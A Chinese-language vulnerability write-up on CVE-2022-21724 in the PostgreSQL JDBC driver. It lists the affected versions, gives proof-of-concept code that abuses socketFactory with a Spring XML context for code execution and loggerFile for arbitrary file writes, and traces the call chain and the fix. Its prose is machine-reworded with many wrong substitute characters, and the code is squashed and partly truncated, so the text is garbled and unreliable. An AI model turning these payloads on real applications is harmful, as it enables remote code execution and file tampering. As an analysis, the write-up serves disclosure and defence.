PostgresQL JDBC Drive 任意代码执行漏洞(CVE-2022-21724)
文章转自先知社区:
做者:原则云
JDBC Java 数据库毗连,(Java Database Connectivity)是 Java 语言顶用来标准客户端若何拜候数据库的应用法式接口,详细讲就是通过 Java 毗连普遍数据库,并对表中数据施行增、删、改、查等操做的手艺。
当法式中 JDBC 毗连 URL 可控时,可能会形成平安问题。比力具有代表性的就是 JDBC 反序列化破绽,是在于 mysql 数据库毗连时产生的。
破绽简介
在 PostgreSQL 数据库的 jdbc 驱动法式中发现一个平安破绽。当进攻者掌握 jdbc url 或者属性时,利用 PostgreSQL 数据库的系统将遭到进攻。pgjdbc 根据通过 authenticationPluginClassName 、 sslhostnameverifier 、 socketFactory 、 sslfactory 、 sslpasswordcallback 毗连属性供给类名实例化插件实例。但是,驱动法式在实例化类之前没有验证类能否实现了预期的接口。那可能招致通过肆意类加载长途代码施行。
影响范畴:
9.4.1208 =PgJDBC 42.2.25
42.3.0 =PgJDBC 42.3.2
破绽复现
创建 maven 项目,添加依赖
编写测试代码
publicclasscve202221724 { publicstaticvoidmain( String[] args) throws SQLException { StringsocketFactoryClass = "org.springframework.context.support.ClassPathXmlApplicationContext"; StringsocketFactoryArg = ");}}
bean.xml
展开全文
破绽阐发 肆意代码施行 socketFactory/socketFactoryArg
先将调试后的流程可能画出
java.sql.DriverManager#getConnection(java.lang.String)
java.sql.DriverManager#getConnection(java.lang.String, java.util.Properties, java.lang.Class?)
操纵 org.postgresql.Driver 的 jdbc 驱动去毗连数据库
org.postgresql.Driver#connect
挪用 makeConnection 去毗连数据库
org.postgresql.Driver#makeConnection
org.postgresql.jdbc.PgConnection#PgConnection
org.postgresql.core.ConnectionFactory#openConnection
org.postgresql.core.v3.ConnectionFactoryImpl#openConnectionImpl
org.postgresql.core.SocketFactoryFactory#getSocketFactory
PGProperty 是列举类型 此中的 get 办法是判断列举项的值有没有传入的 properties,若是存在就查找返回,没有就返回默认值
org.postgresql.util.ObjectFactory#instantiate
通过 newInstance 来实现对 ctor 类 的创建,同时 args 做为参数。构造办法中有且只要一个 String 参数的类就能够称心前提。
org.apache.commons.jxpath.functions.ConstructorFunction
org.apache.commons.jxpath.functions.MethodFunction
java.io.FileOutputStream
org.postgresql.core.v3.ConnectionFactoryImpl#openConnectionImpl
测验考试与数据库停止毗连
org.postgresql.core.v3.ConnectionFactoryImpl#tryConnect
成立毗连后收到恳求以 S 开头,进入 org.postgresql.ssl.MakeSSL#convert
org.postgresql.core.v3.ConnectionFactoryImpl#enableSSL
org.postgresql.ssl.MakeSSL#convert
org.postgresql.core.SocketFactoryFactory#getSslSocketFactory
肆意文件写入 loggerLevel/loggerFile
publicclasscve202221724 { publicstaticvoidmain( String[] args) throws SQLException { StringloggerLevel = "debug"; StringloggerFile = "test.txt"; StringshellContent= "test"; StringjdbcUrl = "jdbc:postgresql://127.0.0.1:5432/test?loggerLevel="+loggerLevel+ "loggerFile="+loggerFile+ ""+shellContent; Connection connection = DriverManager.getConnection(jdbcUrl);}}
org.postgresql.Driver#connect
org.postgresql.Driver#setupLoggerFromProperties
通过 设置扩展参数 LOGGER_FILE 指定日记文件保留位置,没有停止校验,所以能够跨目次的保留文件
生成临时文件,之后将日记信息保留到文件中
org.postgresql.Driver#connect
先通过 setupLoggerFromProperties 设定相关的参数 然后再操纵 LOGGER.log 保留文件
破绽修复
针对代码施行的破绽而言,要求获取的类名必需是指定类的子类,不然就抛出异常
关于肆意文件写入而言,高版本中移除了对日记文件的设定操做 setupLoggerFromProperties(props);
参与疯狂双十一,戳“阅读原文“